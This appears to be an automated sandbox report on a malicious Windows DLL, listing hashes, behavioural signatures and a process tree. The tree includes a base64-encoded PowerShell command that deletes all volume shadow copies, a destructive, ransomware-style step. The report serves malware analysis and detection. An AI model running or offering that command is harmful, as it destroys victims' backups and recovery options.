Analysis
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max time kernel
90s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
25-06-2022 07:10
Static task
static1
Behavioral task
behavioral1
Sample
39fca7fbfd1b8a31cd899a6b649e85ca8bb9fe770d2ecbe75cad29e24eceba1e.dll
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
39fca7fbfd1b8a31cd899a6b649e85ca8bb9fe770d2ecbe75cad29e24eceba1e.dll
Resource
win10v2004-20220414-en
General
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Target
39fca7fbfd1b8a31cd899a6b649e85ca8bb9fe770d2ecbe75cad29e24eceba1e.dll
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Size
164KB
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MD5
c26a7ea5728b33a046b0c77a59a6ccc9
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SHA1
98c717ca6a721ba73ec9afdd6e827e8bcd2873a0
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SHA256
39fca7fbfd1b8a31cd899a6b649e85ca8bb9fe770d2ecbe75cad29e24eceba1e
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SHA512
9b75945175914edba61d0ea8a91bdb692ef31e15786ea73313f8e8528e8d06ade99fce8cc5ee0c9952da661d5e37f987475565b7c9ae9e37013a72ab4e00cb93
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\W: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
rundll32.exepowershell.exepid process 3120 rundll32.exe 3120 rundll32.exe 1684 powershell.exe 1684 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1684 powershell.exe Token: SeBackupPrivilege 4872 vssvc.exe Token: SeRestorePrivilege 4872 vssvc.exe Token: SeAuditPrivilege 4872 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 4716 wrote to memory of 3120 4716 rundll32.exe rundll32.exe PID 4716 wrote to memory of 3120 4716 rundll32.exe rundll32.exe PID 4716 wrote to memory of 3120 4716 rundll32.exe rundll32.exe PID 3120 wrote to memory of 1684 3120 rundll32.exe powershell.exe PID 3120 wrote to memory of 1684 3120 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\39fca7fbfd1b8a31cd899a6b649e85ca8bb9fe770d2ecbe75cad29e24eceba1e.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:4716 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\39fca7fbfd1b8a31cd899a6b649e85ca8bb9fe770d2ecbe75cad29e24eceba1e.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3120 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1684
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:4132
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4872